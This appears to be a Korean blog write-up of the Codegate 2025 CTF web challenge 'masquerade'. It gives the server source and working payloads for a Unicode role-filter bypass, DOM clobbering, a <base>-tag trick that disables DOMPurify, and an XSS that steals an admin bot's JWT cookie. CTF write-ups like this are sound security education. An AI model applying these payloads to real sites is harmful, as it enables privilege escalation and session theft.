문제명 : masquerade
해당 문제는 서버의 소스코드를 모두 준 화이트박스 환경에서 풀기 때문에 로컬에서 이것 저것 디버깅을 해볼 수 있다.
우선 화이트박스 환경에서 빠르게 소스코드를 읽고 의도를 파악하는 것이 중요하다고 생각한다.
일단 문제에 접속 해보면 이런 페이지가 뜨고 회원가입을 통해 uuid와 비밀번호를 지정 할 수 있다.
그럼 이렇게 기본적으로 자신의 uuid와 역할이 MEMBER로 되어 있는 것을 볼 수 있다.
해당 부분을 소스코드로 보면 다음과 같다.
const { generateToken } = require("../utils/jwt");
const { v4: uuidv4 } = require("uuid");
const users = new Map();
const role_list = ["ADMIN", "MEMBER", "INSPECTOR", "DEV", "BANNED"];
function checkRole(role) {
const regex = /^(ADMIN|INSPECTOR)$/i;
return regex.test(role);
}
const addUser = (password) => {
const uuid = uuidv4();
users.set(uuid, { password, role: "MEMBER", hasPerm: false });
return uuid;
};
const getUser = (uuid) => {
return users.get(uuid);
};
const getUsers = () => {
console.log(users);
return 1;
};
const setRole = (uuid, input) => {
const user = getUser(uuid);
if (checkRole(input)) return false;
if (!role_list.includes(input.toUpperCase())) return false;
users.set(uuid, { ...user, role: input.toUpperCase() });
const updated = getUser(uuid);
const payload = { uuid, ...updated };
delete payload.password;
const token = generateToken(payload);
return token;
};
const setPerm = (uuid, input) => {
const user = getUser(uuid);
users.set(uuid, { ...user, hasPerm: input });
return true;
};
module.exports = { addUser, getUser, setRole, setPerm, getUsers };
그럼 초기에 addUser가 되면 기본값으로 MEMBER에 권한은 false로 설정되는 것을 볼 수 있다.
이 부분을 보면 대놓고 ADMIN이나 INSPECTOR로 role을 변경하려 하면 막히는 것을 볼 수 있다.
그리고 다음 조건문에서 입력을 대문자로 바꾼 값이 role_list에 없으면 또 막힌다.
여기서는 자바스크립트의 toUpperCase() 함수의 취약점이 이용된다.
https://dev.to/jagracey/hacking-github-s-auth-with-unicode-s-turkish-dotless-i-460n
Hacking GitHub's Auth with Unicode's Turkish Dotless 'I'
From combining emoji marks and astral planes, Unicode is under appreciated and poorly understood. The...
dev.to
Uppercase
문자 | 유니코드 | 출력값 |
ß | 0x00DF | SS |
ı | 0x0131 | I |
ſ | 0x017F | S |
ff | 0xFB00 | FF |
fi | 0xFB01 | FI |
fl | 0xFB02 | FL |
ffi | 0xFB03 | FFI |
ffl | 0xFB04 | FFL |
ſt | 0xFB05 | ST |
st | 0xFB06 | ST |
예를 들어, 터키어 문자 중 하나인 "ı" (터키어의 점 없는 소문자 i)는 toUpperCase()를 적용하면 일반적인 "I"가 아니라 "İ" (점이 있는 대문자 I)로 변환되지 않는다. 이 특성 때문에 'admın'처럼 보이는 문자열이 실제로는 'adm\u0131n' (여기서 \u0131는 유니코드 점 없는 i)일 경우, toUpperCase()를 해도 'ADMIN'이 아닌 전혀 다른 문자열이 되어, 우회가 가능해진다.
즉, 로마자 i가 아닌 유니코드의 'ı'를 사용하면 필터링을 우회할 수 있는 것이다.
ADMIN과 INSPECTOR 모두 I를 사용하고 있기 때문에 쉽게 우회 할 수 있다.
ADMIN으로 역할을 바꾼 후에는 어드민만 들어갈 수 있는 2개의 페이지에 접근 할 수 있다. /admin과 /admin/test이다.
그럼 이렇게 UUID를 지정하고 쓰기 권한과 신고 권한을 열어 줄 수 있다.
그럼 다음 문제가 뭐냐면
바로 이 부분인데, /admin으로 시작하는 주소 외에는 모두 nonce가 랜덤으로 지정되어 있어서 해당 nonce를 맞추지 못하면 자바스크립트를 실행 하지 못한다.
신고 버튼을 누르면 어드민 봇이 쿠키에 플래그를 담은 상태로 해당 게시글을 읽는다. 그리고 게시글의 삭제 버튼을 누르는 로직이 존재한다.
const puppeteer = require("puppeteer");
const { generateToken } = require("./jwt");
const delay = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
const viewUrl = async (post_id) => {
const token = generateToken({
uuid: "codegate2025{test_flag}",
role: "ADMIN",
hasPerm: true,
});
console.log(`http://localhost:3000/post/${post_id}`);
const cookies = [{ name: "jwt", value: token, domain: "localhost" }];
const browser = await puppeteer.launch({
executablePath: "/usr/bin/chromium",
args: ["--no-sandbox"],
});
let result = true;
try {
await browser.setCookie(...cookies);
const page = await browser.newPage();
await page.goto(`http://localhost:3000/post/${post_id}`, {
timeout: 3000,
waitUntil: "domcontentloaded",
});
await delay(1000);
const button = await page.$("#delete");
await button.click();
await delay(1000);
} catch (error) {
console.error("An Error occurred:", error);
result = false;
} finally {
await browser.close();
}
return result;
};
module.exports = { viewUrl };
하지만 게시글을 작성 할 때는 자바스크립트를 쓸 수 없다. 그런데 우리는 /admin/test의 존재를 알고 있다.
여기엔 게시글을 작성할 때 제목과 본문을 그대로 파라미터에 넣어서 쓸 수 있으며, DOMPurify라는 라이브러리를 쓰고 있다.
즉, /admin/test에는 원하는 모든 값을 쓸 수 있지만 거의 우회가 불가능한 XSS 방어 라이브러리를 쓰고 있고, 게시글 작성 페이지에는 일반적인 자바스크립트를 쓸 수 없는 상태이다.
/admin/test의 소스코드를 보면
try {
// DOMPurify를 사용하여 XSS 공격 방지를 위한 컨텐츠 정화 후 삽입
postTitleElement.innerHTML = DOMPurify.sanitize(titleParam);
postContentElement.innerHTML = DOMPurify.sanitize(contentParam);
} catch (error) {
// 만약 정화 과정 중 에러가 발생하면 원본 문자열 그대로 출력
postTitleElement.innerHTML = titleParam;
postContentElement.innerHTML = contentParam;
}
이런 부분이 있는데, 여기가 힌트라고 생각했다. 라이브러리를 우회하는건 어렵지만, 해당 라이브러리를 쓰는 부분에서 에러를 일으키는건 가능하다고 생각했다. 만약 에러만 일어나면 try문을 빠져나와 catch에서 내가 원하는 코드를 그대로 DOM에 쓸 수 있을 것이다.
이 단계까지 왔으면 필요한 것이
1. 게시글 작성 페이지에서 자바스크립트 없이 해당 페이지로 리다이렉트 시키는 것
2. 해당 페이지로 리다이렉트 시켰을 때 원하는 자바스크립트 코드를 실행하는 것
이렇게 나눠진다.
확실히 코드게이트는 문제를 잘 만들었다고 느끼는게, 이런 두 가지의 테스크는 팀 게임을 할 때 빨리 공유를 해줘서 다음 익스를 준비할 수 있다는 점이다. 물론 잘하는 사람은 두 가지를 모두 동시에 해결 할 수 있지만.. 시간상 파트를 나눠서 시간을 박는게 우리에겐 더 유용했다.
나는 1번인 해당 페이지로 리다이렉트 시키는 방법을 찾았고 다른 팀원이 리다이렉트 된다고 믿고 2번인 리다이렉트 됐을 때 XSS가 터지는 방법을 찾았다.
https://www.hahwul.com/cullinan/dom-clobbering/
DOM Clobbering
Introduction DOM Clobbering은 Javascript에서의 DOM 처리 방식을 이용한 공격 기법입니다. Clobbering은 의미 그대로 소프트웨어 공학에서 의도적,비의도적으로 특정 메모리나 레지스터를 완전히 덮어쓰는
www.hahwul.com
이 블로그를 참고해서 DOM Clobbering을 시도했다.
이 부분을 보면 id가 delete인 버튼을 누르게 되면 location.href를 window.conf.deleteUrl로 지정하는 것을 볼 수 있다.
그래서 게시글에
<b id="conf"><area id="conf" name="deleteUrl" href=/admin/test>
이렇게 쓰면 어드민 봇이 delete 버튼을 누를 때 window.conf.deleteUrl을 내가 지정한 /admin/test/? 로 이동 시킬 수 있다.
그리고 내가 이 방법을 알아낼 때 쯤 팀원도 XSS가 터지는 페이로드를 찾았다.
https://sec.stealthcopter.com/intigriti-july-2024-ctf-challenge-memo/
Stealthcopter
This fun little challenge was to get reflected cross-site scripting (XSS) on a simple web app that is protected by a content security policy (CSP) and DOMPurify
sec.stealthcopter.com
이 블로그를 참고해서, 라이브러리를 CDN 방식으로 호출하는 것이 아닌 ../js/purify.min.js 이렇게 정적인 파일을 상대 경로로 가져온다는 점을 이용했다. html 태그 중에 <base>를 이용하면 이 상대경로의 시작점을 바꿀 수 있다. 그럼 ../js/ 폴더가 존재하지 않는 곳에서 해당 파일을 불러오게 되고 결론적으로 라이브러리가 호출되지 않아서 try가 터지게 된다.
http://3.35.104.112:3000/admin/test/?title=
</title><base%20href=/test/>&content=
<iframe%20srcdoc="<script>alert(1)</script>"></iframe>
이제 저 <script>alert(1)</scrpipt> 자리를 우리의 웹 훅으로 가져오는 코드로 바꾸면 된다.
하지만 eval도 불가했고, CSP 때문에 fetch를 통해 외부로 GET이나 POST 요청을 보내는 것이 불가능 했다.
그래서 우리는 팀원의 JWT를 게시글에 보내서 플래그를 추출하고 해당 팀원의 계정의 게시글에 새 글을 작성하는 방식으로 풀었다.
<script>
const flag=atob(document.cookie.split(".")[1]);
document.cookie="";
document.cookie="jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1dWlkIjoiZDc1MjU5NzQtNDQ2Yy00MGYwLTk4NDktNTI4ODI4NWIyNjQ4Iiwicm9sZSI6IkFETUlOIiwiaGFzUGVybSI6dHJ1ZSwiaWF0IjoxNzQzMjQzNDg2LCJleHAiOjE3NDMyNDcwODZ9.H-yNUE415Z56b7wy9Ah1L9paYxmifR05p_wTK5rwiZ0; path=/; expires=Fri, 31 Dec 9999 23:59:59 GMT";
fetch("/post/write",{method:"POST",headers:{"Content-Type":"application/json"},
body:JSON.stringify({title:"flag",content:flag})});
</script>
작동 방식은 다음과 같다.
1. DOM이 로드 될 시 base 태그에 의해서 라이브러리가 호출되지 않음
2. 예외처리가 발생하고 우리가 원하는 스크립트가 실행됨
3. 현재 어드민 봇의 쿠키에서 플래그를 추출함.
4. 현재 어드민 봇의 쿠키를 팀원의 JWT 토큰으로 덮어씀
5. 글쓰기 api를 호출해서 해당 팀원의 게시글로 새로운 글을 씀
6. 글의 본문에 3.에서 추출한 플래그를 담음
이 페이로드를 짜서
<b id="conf"><area id="conf" name="deleteUrl" href=/admin/test>
이 부분 뒤에다 쭉 쓰면 됐었다.
<b id="conf"><area id="conf" name="deleteUrl" href='/admin/test/?title=</title><base%20href=/test/>&content=<iframe%20srcdoc=%27<script>const%20flag=atob(document.cookie.split(".")[1]);document.cookie="";document.cookie="jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1dWlkIjoiZDc1MjU5NzQtNDQ2Yy00MGYwLTk4NDktNTI4ODI4NWIyNjQ4Iiwicm9sZSI6IkFETUlOIiwiaGFzUGVybSI6dHJ1ZSwiaWF0IjoxNzQzMjQzNDg2LCJleHAiOjE3NDMyNDcwODZ9.H-yNUE415Z56b7wy9Ah1L9paYxmifR05p_wTK5rwiZ0;%20path=/;%20expires=Fri,%2031%20Dec%209999%2023:59:59%20GMT";fetch("/post/write",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({title:"flag",content:flag})});</script>%27></iframe>'>
그럼 이렇게 플래그를 성공적으로 얻을 수 있다.
결론적으로 문제를 종합해 보면 다음과 같다.
1. toUpperCase() 우회
2. DOM Clobbering
3. DOMPurify 우회
4. XSS로 쿠키 탈취
+) 대회가 끝나고 알게 된 사실인데, CSP에 의해 fetch를 웹훅에 못 쏘는 건 맞지만 그냥 onerror=window.location=c2서버 했으면 그냥 풀렸다고 한다.. 마지막에 삽질하느라 시간을 많이 써버렸다.
'webhacking' 카테고리의 다른 글
[드림핵] 익스텐션 개발 - 다운로드 파일명 지정 (0) | 2025.03.26 |
---|---|
blind sql injection 실습 환경 구축 방법 + 개념 설명 (0) | 2025.01.20 |
XSS 실습 환경 구축 방법 정리(docker + selenium) (0) | 2025.01.20 |
Webhacking.kr old-20번 (0) | 2025.01.07 |
Webhacking.kr old-36번 (0) | 2025.01.02 |